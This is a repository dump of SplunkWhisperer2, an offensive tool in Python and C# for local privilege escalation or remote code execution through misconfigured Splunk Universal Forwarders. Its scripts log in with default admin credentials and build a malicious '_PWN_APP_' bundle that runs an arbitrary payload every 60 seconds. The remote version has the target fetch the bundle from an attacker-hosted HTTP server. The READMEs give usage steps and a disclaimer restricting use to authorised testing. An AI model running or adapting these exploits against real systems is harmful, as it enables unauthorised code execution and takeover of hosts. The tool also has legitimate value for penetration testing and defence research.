├── LICENSE
├── PySplunkWhisperer2
├── .gitignore
├── PySplunkWhisperer2_local.py
├── PySplunkWhisperer2_local_python3.py
├── PySplunkWhisperer2_remote.py
├── README.md
├── build_exe.bat
├── build_exe_python3.bat
└── requirements.txt
├── README.md
└── SharpSplunkWhisperer2
├── .gitignore
├── FodyWeavers.xml
├── Program.cs
├── README.md
├── SharpSplunkWhisperer2.csproj
├── SharpSplunkWhisperer2.sln
├── app.config
└── packages.config
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Clément Notin
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/.gitignore:
--------------------------------------------------------------------------------
1 | /dist
2 | /build
3 | /.idea
4 | /venv
5 | /*.spec
6 | /.vscode
7 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/PySplunkWhisperer2_local.py:
--------------------------------------------------------------------------------
1 | import sys, os, tempfile, shutil
2 | import tarfile
3 | import requests
4 | import argparse
5 |
6 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
7 |
8 | SPLUNK_APP_NAME = '_PWN_APP_'
9 |
10 |
11 | def create_splunk_bundle(options):
12 | tmp_path = tempfile.mkdtemp()
13 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME))
14 |
15 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin")
16 | os.mkdir(bin_dir)
17 | pwn_file = os.path.join(bin_dir, options.payload_file)
18 | open(pwn_file, "w").write(options.payload)
19 | # make the script executable - not 100% certain this makes a difference
20 | os.chmod(pwn_file, 0o700)
21 |
22 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local")
23 | os.mkdir(local_dir)
24 | inputs_conf = os.path.join(local_dir, "inputs.conf")
25 | with open(inputs_conf, "w") as f:
26 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file)
27 | inputs += 'disabled = false\n'
28 | inputs += 'index = default\n'
29 | inputs += 'interval = 60.0\n'
30 | inputs += 'sourcetype = test\n'
31 | f.write(inputs)
32 |
33 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar')
34 | os.close(fd)
35 | with tarfile.TarFile(tmp_bundle, mode="w") as tf:
36 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME)
37 |
38 | shutil.rmtree(tmp_path)
39 | return tmp_bundle
40 |
41 |
42 |
43 | parser = argparse.ArgumentParser()
44 | parser.add_argument('--scheme', default="https")
45 | parser.add_argument('--port', default=8089)
46 | parser.add_argument('--username', default="admin")
47 | parser.add_argument('--password', default="changeme")
48 | parser.add_argument('--payload', default="calc.exe")
49 | parser.add_argument('--payload-file', default="pwn.bat")
50 | options = parser.parse_args()
51 |
52 | print "Running in local mode (Local Privilege Escalation)"
53 | options.host = "127.0.0.1"
54 |
55 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )
56 |
57 | s = requests.Session()
58 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
59 | s.verify = False
60 |
61 | print "[.] Authenticating..."
62 | req = s.get(SPLUNK_BASE_API)
63 | if req.status_code == 401:
64 | print "Authentication failure"
65 | print ""
66 | print req.text
67 | sys.exit(-1)
68 | print "[+] Authenticated"
69 |
70 | print "[.] Creating malicious app bundle..."
71 | BUNDLE_FILE = create_splunk_bundle(options)
72 | print "[+] Created malicious app bundle in: " + BUNDLE_FILE
73 |
74 | lurl = BUNDLE_FILE
75 |
76 | print "[.] Installing app from: " + lurl
77 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
78 | if req.status_code != 200 and req.status_code != 201:
79 | print "Got a problem: " + str(req.status_code)
80 | print ""
81 | print req.text
82 | print "[+] App installed, your code should be running now!"
83 |
84 | print "\nPress RETURN to cleanup"
85 | raw_input()
86 | os.remove(BUNDLE_FILE)
87 |
88 | print "[.] Removing app..."
89 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
90 | if req.status_code != 200 and req.status_code != 201:
91 | print "Got a problem: " + str(req.status_code)
92 | print ""
93 | print req.text
94 | print "[+] App removed"
95 |
96 | print "\nPress RETURN to exit"
97 | raw_input()
98 | print "Bye!"
99 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/PySplunkWhisperer2_local_python3.py:
--------------------------------------------------------------------------------
1 | import sys, os, tempfile, shutil
2 | import tarfile
3 | import requests
4 | import argparse
5 |
6 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
7 |
8 | SPLUNK_APP_NAME = '_PWN_APP_'
9 |
10 |
11 | def create_splunk_bundle(options):
12 | tmp_path = tempfile.mkdtemp()
13 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME))
14 |
15 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin")
16 | os.mkdir(bin_dir)
17 | pwn_file = os.path.join(bin_dir, options.payload_file)
18 | open(pwn_file, "w").write(options.payload)
19 | # make the script executable - not 100% certain this makes a difference
20 | os.chmod(pwn_file, 0o700)
21 |
22 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local")
23 | os.mkdir(local_dir)
24 | inputs_conf = os.path.join(local_dir, "inputs.conf")
25 | with open(inputs_conf, "w") as f:
26 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file)
27 | inputs += 'disabled = false\n'
28 | inputs += 'index = default\n'
29 | inputs += 'interval = 60.0\n'
30 | inputs += 'sourcetype = test\n'
31 | f.write(inputs)
32 |
33 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar')
34 | os.close(fd)
35 | with tarfile.TarFile(tmp_bundle, mode="w") as tf:
36 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME)
37 |
38 | shutil.rmtree(tmp_path)
39 | return tmp_bundle
40 |
41 |
42 |
43 | parser = argparse.ArgumentParser()
44 | parser.add_argument('--scheme', default="https")
45 | parser.add_argument('--port', default=8089)
46 | parser.add_argument('--username', default="admin")
47 | parser.add_argument('--password', default="changeme")
48 | parser.add_argument('--payload', default="calc.exe")
49 | parser.add_argument('--payload-file', default="pwn.bat")
50 | options = parser.parse_args()
51 |
52 | print("Running in local mode (Local Privilege Escalation)")
53 | options.host = "127.0.0.1"
54 |
55 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )
56 |
57 | s = requests.Session()
58 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
59 | s.verify = False
60 |
61 | print("[.] Authenticating...")
62 | req = s.get(SPLUNK_BASE_API)
63 | if req.status_code == 401:
64 | print("Authentication failure")
65 | print("")
66 | print(req.text)
67 | sys.exit(-1)
68 | print("[+] Authenticated")
69 |
70 | print("[.] Creating malicious app bundle...")
71 | BUNDLE_FILE = create_splunk_bundle(options)
72 | print("[+] Created malicious app bundle in: " + BUNDLE_FILE)
73 |
74 | lurl = BUNDLE_FILE
75 |
76 | print("[.] Installing app from: " + lurl)
77 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
78 | if req.status_code != 200 and req.status_code != 201:
79 | print("Got a problem: " + str(req.status_code))
80 | print("")
81 | print(req.text)
82 | print("[+] App installed, your code should be running now!")
83 |
84 | print("\nPress RETURN to cleanup")
85 | input()
86 | os.remove(BUNDLE_FILE)
87 |
88 | print("[.] Removing app...")
89 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
90 | if req.status_code != 200 and req.status_code != 201:
91 | print("Got a problem: " + str(req.status_code))
92 | print("")
93 | print(req.text)
94 | print("[+] App removed")
95 |
96 | print("\nPress RETURN to exit")
97 | input()
98 | print("Bye!")
99 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/PySplunkWhisperer2_remote.py:
--------------------------------------------------------------------------------
1 | import sys, os, tempfile, shutil
2 | import tarfile
3 | import requests
4 | import socketserver
5 | from http.server import SimpleHTTPRequestHandler
6 | import argparse
7 | import threading
8 |
9 | requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
10 |
11 | SPLUNK_APP_NAME = '_PWN_APP_'
12 |
13 |
14 | def create_splunk_bundle(options):
15 | tmp_path = tempfile.mkdtemp()
16 | os.mkdir(os.path.join(tmp_path, SPLUNK_APP_NAME))
17 |
18 | bin_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "bin")
19 | os.mkdir(bin_dir)
20 | pwn_file = os.path.join(bin_dir, options.payload_file)
21 | open(pwn_file, "w").write(options.payload)
22 | # make the script executable - not 100% certain this makes a difference
23 | os.chmod(pwn_file, 0o700)
24 |
25 | local_dir = os.path.join(tmp_path, SPLUNK_APP_NAME, "local")
26 | os.mkdir(local_dir)
27 | inputs_conf = os.path.join(local_dir, "inputs.conf")
28 | with open(inputs_conf, "w") as f:
29 | inputs = '[script://$SPLUNK_HOME/etc/apps/{}/bin/{}]\n'.format(SPLUNK_APP_NAME, options.payload_file)
30 | inputs += 'disabled = false\n'
31 | inputs += 'index = default\n'
32 | inputs += 'interval = 60.0\n'
33 | inputs += 'sourcetype = test\n'
34 | f.write(inputs)
35 |
36 | (fd, tmp_bundle) = tempfile.mkstemp(suffix='.tar')
37 | os.close(fd)
38 | with tarfile.TarFile(tmp_bundle, mode="w") as tf:
39 | tf.add(os.path.join(tmp_path, SPLUNK_APP_NAME), arcname=SPLUNK_APP_NAME)
40 |
41 | shutil.rmtree(tmp_path)
42 | return tmp_bundle
43 |
44 |
45 | class CustomHandler(SimpleHTTPRequestHandler):
46 | def do_GET(self):
47 | global BUNDLE_FILE
48 | bundle = open(BUNDLE_FILE, 'rb').read()
49 |
50 | self.send_response(200)
51 | self.send_header('Expires', 'Thu, 26 Oct 1978 00:00:00 GMT')
52 | self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate, max-age=0')
53 | self.send_header('Content-type', 'application/tar')
54 | self.send_header('Content-Disposition', 'attachment; filename="splunk_bundle.tar"')
55 | self.send_header('Content-Length', len(bundle))
56 | self.end_headers()
57 |
58 | self.wfile.write(bundle)
59 |
60 |
61 | class ThreadedHTTPServer(object):
62 | """Runs SimpleHTTPServer in a thread
63 | Lets you start and stop an instance of SimpleHTTPServer.
64 | """
65 |
66 | def __init__(self, host, port, request_handler=SimpleHTTPRequestHandler):
67 | """Prepare thread and socket server
68 | Creates the socket server that will use the HTTP request handler. Also
69 | prepares the thread to run the serve_forever method of the socket
70 | server as a daemon once it is started
71 | """
72 | socketserver.TCPServer.allow_reuse_address = True
73 | self.server = socketserver.TCPServer((host, int(port)), request_handler)
74 | self.server_thread = threading.Thread(target=self.server.serve_forever)
75 | self.server_thread.daemon = True
76 | self.server_thread.start()
77 |
78 | def stop(self):
79 | """Stop the HTTP server
80 | Stops the server and cleans up the port assigned to the socket
81 | """
82 | self.server.shutdown()
83 | self.server.server_close()
84 |
85 |
86 | parser = argparse.ArgumentParser()
87 | parser.add_argument('--scheme', default="https")
88 | parser.add_argument('--host', required=True)
89 | parser.add_argument('--port', default=8089)
90 | parser.add_argument('--lhost', required=True)
91 | parser.add_argument('--lport', default=8181)
92 | parser.add_argument('--username', default="admin")
93 | parser.add_argument('--password', default="changeme")
94 | parser.add_argument('--payload', default="calc.exe")
95 | parser.add_argument('--payload-file', default="pwn.bat")
96 | options = parser.parse_args()
97 |
98 | print("Running in remote mode (Remote Code Execution)")
99 |
100 | SPLUNK_BASE_API = "{}://{}:{}/services/apps/local/".format(options.scheme, options.host, options.port, )
101 |
102 | s = requests.Session()
103 | s.auth = requests.auth.HTTPBasicAuth(options.username, options.password)
104 | s.verify = False
105 |
106 | print("[.] Authenticating...")
107 | req = s.get(SPLUNK_BASE_API)
108 | if req.status_code == 401:
109 | print("Authentication failure")
110 | print("")
111 | print(req.text)
112 | sys.exit(-1)
113 | print("[+] Authenticated")
114 |
115 | print("[.] Creating malicious app bundle...")
116 | BUNDLE_FILE = create_splunk_bundle(options)
117 | print("[+] Created malicious app bundle in: " + BUNDLE_FILE)
118 |
119 | httpd = ThreadedHTTPServer(options.lhost, options.lport, request_handler=CustomHandler)
120 | print("[+] Started HTTP server for remote mode")
121 |
122 | lurl = "http://{}:{}/".format(options.lhost, options.lport)
123 |
124 | print("[.] Installing app from: " + lurl)
125 | req = s.post(SPLUNK_BASE_API, data={'name': lurl, 'filename': True, 'update': True})
126 | if req.status_code != 200 and req.status_code != 201:
127 | print("Got a problem: " + str(req.status_code))
128 | print("")
129 | print(req.text)
130 | print("[+] App installed, your code should be running now!")
131 |
132 | print("\nPress RETURN to cleanup")
133 | input()
134 | os.remove(BUNDLE_FILE)
135 |
136 | print("[.] Removing app...")
137 | req = s.delete(SPLUNK_BASE_API + SPLUNK_APP_NAME)
138 | if req.status_code != 200 and req.status_code != 201:
139 | print("Got a problem: " + str(req.status_code))
140 | print("")
141 | print(req.text)
142 | print("[+] App removed")
143 |
144 | httpd.stop()
145 | print("[+] Stopped HTTP server")
146 |
147 | print("Bye!")
148 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/README.md:
--------------------------------------------------------------------------------
1 | # Splunk Whisperer 2 (Python)
2 | ## Usage
3 | I created two files to reduce dependencies (no HTTP server) when building the LPE executable file.
4 |
5 | * Local Privilege Escalation (LPE): you have a shell on the computer, then use `PySplunkWhisperer2_local.py`. The following arguments exist but are optional:
6 | * `--scheme`, default="https"
7 | * `--port`, default=8089
8 | * `--username`, default="admin"
9 | * `--password`, default="changeme"
10 | * `--payload`, default="calc.exe", you must adapt for Linux targets
11 | * `--payload-file`, default="pwn.bat", you must adapt for Linux targets
12 | The app bundle is created locally (temp file) and Splunk installs it from there.
13 |
14 |
15 | * Remote Code Execution (RCE): the Universal Forwarder is exposed, then use `PySplunkWhisperer2_remote.py`. The following arguments exist. They are all optional, except `--host` and `--lhost`:
16 | * `--scheme`, default="https"
17 | * `--host`, **required=True**, this is your target
18 | * `--port`, default=8089
19 | * `--lhost`, **required=True**, this is your own IP
20 | * `--lport`, default=8181
21 | * `--username`, default="admin"
22 | * `--password`, default="changeme" (**note**: this default password does not work remotely by default)
23 | * `--payload`, default="calc.exe", you must adapt for Linux targets
24 | * `--payload-file`, default="pwn.bat", you must adapt for Linux targets
25 | The app bundle is created on your computer (temp file) and Splunk fetches it through HTTP (hence the need for `--lhost`).
26 |
27 | ## Supported platforms
28 | The current code targets Universal Forwarders running on Windows by default. If you want to target Linux, change the payload with `--payload` and the payload filename with `--payload-file`.
29 |
30 | * You can build an executable file for `PySplunkWhisperer2_local.py` with PyInstaller, see `build_exe.bat`, so you can run it on any Windows computer without having Python installed.
31 | * `PySplunkWhisperer2_remote.py` runs on Windows and Linux
32 |
33 | ### Credits
34 | This tool is inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604.
35 |
36 | The main advantage of this version is that the Deployment Server used by the Universal Forwarder is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler.
37 |
38 | ### Disclaimer
39 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes.
40 | The author cannot be held responsible for any misuse or damage from any material provided here.
41 |
--------------------------------------------------------------------------------
/PySplunkWhisperer2/build_exe.bat:
--------------------------------------------------------------------------------
1 | pyinstaller.exe PySplunkWhisperer2_local.py --onefile --name PySplunkWhisperer2
2 | @echo.
3 | @echo.
4 | @echo Finished! EXE available in "dist" folder
5 | @pause
--------------------------------------------------------------------------------
/PySplunkWhisperer2/build_exe_python3.bat:
--------------------------------------------------------------------------------
1 | pyinstaller.exe PySplunkWhisperer2_local_python3.py --onefile --name PySplunkWhisperer2
2 | @echo.
3 | @echo.
4 | @echo Finished! EXE available in "dist" folder
5 | @pause
--------------------------------------------------------------------------------
/PySplunkWhisperer2/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SplunkWhisperer2
2 | ## Description
3 | Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF) misconfigurations.
4 | See https://clement.notin.org/blog/2019/02/25/Splunk-Universal-Forwarder-Hijacking-2-SplunkWhisperer2/ for more details.
5 |
6 | ## Which one to use?
7 | * You have a local shell on a Windows computer running Splunk UF?
8 | * If .NET 4.5, or later, is available (or you don't know), use `SharpSplunkWhisperer2`
9 | * Otherwise, use `PySplunkWhisperer2_local`
10 | * You can contact remotely the Splunk UF API (HTTPS port 8089 by default) and you have the credentials (**note**: the default credentials are *admin/changeme* but they do not work remotely by default)?
11 | * Use `PySplunkWhisperer2_remote`
12 |
13 | `PySplunkWhisperer2` works fine on Linux targets too (adapt the payload file name and content accordingly).
14 |
15 | Note also that `SharpSplunkWhisperer2` relies on the [Splunk SDK for C#](http://dev.splunk.com/csharp) library, whereas `PySplunkWhisperer2` directly calls the [Splunk REST API](http://dev.splunk.com/restapi).
16 |
17 | ### Credits
18 | These tools are inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604.
19 |
20 | The main advantage of these versions is that the Deployment Server used by the UF is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler.
21 |
22 | ### Disclaimer
23 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes.
24 | The author cannot be held responsible for any misuse or damage from any material provided here.
25 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/.gitignore:
--------------------------------------------------------------------------------
1 | /.vs/
2 | /bin
3 | /obj
4 | /packages/
5 | /*.user
6 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Net;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 | using Splunk.Client;
9 | using ICSharpCode.SharpZipLib.Tar;
10 | using CommandLine;
11 |
12 | namespace SharpSplunkWhisperer2
13 | {
14 | class SharpSplunkWhisperer2
15 | {
16 | static readonly string SPLUNK_APP_NAME = "_PWN_APP_";
17 |
18 | static void Main(string[] args)
19 | {
20 | if (args == null)
21 | throw new ArgumentNullException(nameof(args));
22 |
23 | Options options = new Options();
24 | var result = Parser.Default.ParseArguments(args)
25 | .WithParsed(o =>
26 | {
27 | Run(o).Wait(); // required since Splunk library is async
28 | });
29 |
30 | Console.Write("Press RETURN to exit...");
31 | Console.ReadLine();
32 | }
33 |
34 | public async static Task Run(Options options)
35 | {
36 | // most recent Splunk Universal Forwarder only accepts TLS 1.2 by default
37 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
38 | // Splunk UF default certificate is self-signed and therefore invalid, we choose to ignore it
39 | ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) =>
40 | {
41 | return true;
42 | };
43 |
44 | Uri uri = new Uri(options.Scheme + "://localhost:" + options.Port);
45 | Console.WriteLine("[.] Connecting to target: " + uri + " with credentials : " + options.UserName + " / " + options.Password);
46 |
47 | var service = new Service(uri);
48 | try
49 | {
50 | await service.LogOnAsync(options.UserName, options.Password);
51 | }
52 | catch (AuthenticationFailureException ex)
53 | {
54 | Console.WriteLine("[-] Authentication failure!");
55 | Console.WriteLine(ex.Message);
56 | return;
57 | }
58 |
59 | Console.WriteLine("[+] Connected");
60 |
61 | Console.WriteLine("[.] Creating malicious app archive...");
62 |
63 | DirectoryInfo tempDirectory = Directory.CreateDirectory(Path.Combine(Path.GetTempPath(), Path.GetRandomFileName()));
64 |
65 | DirectoryInfo rootApp = tempDirectory.CreateSubdirectory(SPLUNK_APP_NAME);
66 |
67 | DirectoryInfo bin = rootApp.CreateSubdirectory("bin");
68 | File.WriteAllText(Path.Combine(bin.FullName, "pwn.bat"), options.Payload);
69 |
70 | DirectoryInfo local = rootApp.CreateSubdirectory("local");
71 | File.WriteAllText(Path.Combine(local.FullName, "inputs.conf"), @"[script://$SPLUNK_HOME/etc/apps/" + SPLUNK_APP_NAME + @"/bin/pwn.bat]
72 | disabled = false
73 | index = default
74 | interval = 60.0
75 | sourcetype = test
76 | ");
77 |
78 | string appFile = tempDirectory.FullName + ".tar";
79 |
80 | Stream outStream = File.Create(appFile);
81 | TarArchive tarArchive = TarArchive.CreateOutputTarArchive(outStream);
82 | // from https://github.com/icsharpcode/SharpZipLib/wiki/GZip-and-Tar-Samples
83 | tarArchive.RootPath = tempDirectory.FullName.Replace('\\', '/').TrimEnd('/');
84 | AddDirectoryFilesToTar(tarArchive, tempDirectory.FullName);
85 | tarArchive.Close();
86 |
87 | tempDirectory.Delete(true);
88 | Console.WriteLine("[+] Malicious app archive ready");
89 |
90 | Console.WriteLine("[.] Installing app...");
91 | Application app = null;
92 | try
93 | {
94 | app = await service.Applications.InstallAsync(appFile);
95 | Console.WriteLine("[+] App installed! Your code should be running now.");
96 | }
97 | catch (RequestException ex)
98 | {
99 | // can happen if the application is already installed
100 | Console.WriteLine("[-] Exception caught: ");
101 | Console.WriteLine(ex.Message);
102 | }
103 | finally
104 | {
105 | Console.Write("Press RETURN to cleanup...");
106 | Console.ReadLine();
107 | Console.WriteLine();
108 |
109 | File.Delete(appFile);
110 | Console.WriteLine("[+] Deleted " + appFile);
111 |
112 | if (app == null)
113 | {
114 | // there was an error when installing the app so let's find it to be able to remove it
115 | Application app2 = await service.Applications.GetOrNullAsync(SPLUNK_APP_NAME);
116 | if (app2 != null)
117 | {
118 | Console.WriteLine("[.] Removing app...");
119 | await app2.RemoveAsync();
120 | Console.WriteLine("[+] App removed");
121 | }
122 | }
123 | else
124 | {
125 | Console.WriteLine("[.] Removing app...");
126 | await app.RemoveAsync();
127 | Console.WriteLine("[+] App removed");
128 | }
129 | }
130 | }
131 |
132 | // from https://github.com/icsharpcode/SharpZipLib/wiki/GZip-and-Tar-Samples
133 | private static void AddDirectoryFilesToTar(TarArchive tarArchive, string sourceDirectory)
134 | {
135 | // Write each file to the tar.
136 | string[] filenames = Directory.GetFiles(sourceDirectory);
137 | foreach (string filename in filenames)
138 | {
139 | TarEntry tarEntry = TarEntry.CreateEntryFromFile(filename);
140 | tarArchive.WriteEntry(tarEntry, true);
141 | }
142 |
143 | string[] directories = Directory.GetDirectories(sourceDirectory);
144 | foreach (string directory in directories)
145 | AddDirectoryFilesToTar(tarArchive, directory);
146 | }
147 | }
148 |
149 |
150 | public class Options
151 | {
152 | [Option(Default = "admin")]
153 | public string UserName { get; set; }
154 |
155 | [Option(Default = "changeme")]
156 | public string Password { get; set; }
157 |
158 | [Option(Default = 8089)]
159 | public int Port { get; set; }
160 |
161 | [Option(Default = "https")]
162 | public string Scheme { get; set; }
163 |
164 | [Option(Default = "calc.exe")]
165 | public string Payload { get; set; }
166 | }
167 | }
168 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/README.md:
--------------------------------------------------------------------------------
1 | # Splunk Whisperer 2 (C#)
2 | ## Prerequisites
3 | This tool requires at least .NET 4.5 (which isn't available by default on Windows 7 / 2008). If this condition is not met, see `PySplunkWhisperer2` in the same repository.
4 |
5 | ## Build instructions
6 | I do not publish binaries on purpose. You have to build it yourself, for example with Visual Studio 2017 Community. The required packages are fetched by NuGet.
7 |
8 | ## Usage
9 | `SharpSplunkWhisperer2` only implements Local Privilege Escalation (LPE) mode for Windows targets. For Remote Code Execution (RCE), and Linux targets, see `PySplunkWhisperer2` in the same repository.
10 |
11 | The following arguments exist but are optional:
12 | * `--UserName`, default="admin"
13 | * `--Password`, default="changeme"
14 | * `--Port`, default=8089
15 | * `--Scheme`, default="https"
16 | * `--Payload`, default="calc.exe"
17 |
18 | The app bundle is created locally (temp file) and Splunk installs it from there.
19 |
20 | ## Supported platforms
21 | `SharpSplunkWhisperer2` is designed to be run locally on Windows computers.
22 |
23 | ### Credits
24 | This tool is inspired by [the original Splunk Whisperer](https://github.com/airman604/splunk_whisperer) by @airman604.
25 |
26 | The main advantage of this version is that the Deployment Server used by the Universal Forwarder is not changed. It only installs a new application (then removes it) so it is less intrusive and the code is simpler.
27 |
28 | ### Disclaimer
29 | Resources provided here are shared to demonstrate risk. These can be used only against systems you own or are authorized to test, these must not be used for illegal purposes.
30 | The author cannot be held responsible for any misuse or damage from any material provided here.
31 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/SharpSplunkWhisperer2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {ADC720B5-C118-45C0-9141-6203D87D0667}
8 | Exe
9 | SharpSplunkWhisperer2
10 | SharpSplunkWhisperer2
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 |
17 |
18 |
19 | AnyCPU
20 | true
21 | full
22 | false
23 | bin\Debug\
24 | DEBUG;TRACE
25 | prompt
26 | 4
27 | false
28 |
29 |
30 | AnyCPU
31 | pdbonly
32 | true
33 | bin\Release\
34 | TRACE
35 | prompt
36 | 4
37 | false
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 | packages\CommandLineParser.2.3.0\lib\net45\CommandLine.dll
52 |
53 |
54 | packages\SharpZipLib.1.0.0\lib\net45\ICSharpCode.SharpZipLib.dll
55 |
56 |
57 | packages\Splunk.Client.2.2.8\lib\portable-net45+win8+wp80+MonoTouch10+MonoAndroid10+xamarinmac20+xamarinios10\Splunk.Client.dll
58 |
59 |
60 |
61 | packages\System.Collections.Immutable.1.5.0\lib\portable-net45+win8+wp8+wpa81\System.Collections.Immutable.dll
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}.
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/SharpSplunkWhisperer2.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.28010.2019
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpSplunkWhisperer2", "SharpSplunkWhisperer2.csproj", "{ADC720B5-C118-45C0-9141-6203D87D0667}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {ADC720B5-C118-45C0-9141-6203D87D0667}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {B48CBB24-5256-4CD8-8B15-2780C621212D}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/app.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/SharpSplunkWhisperer2/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------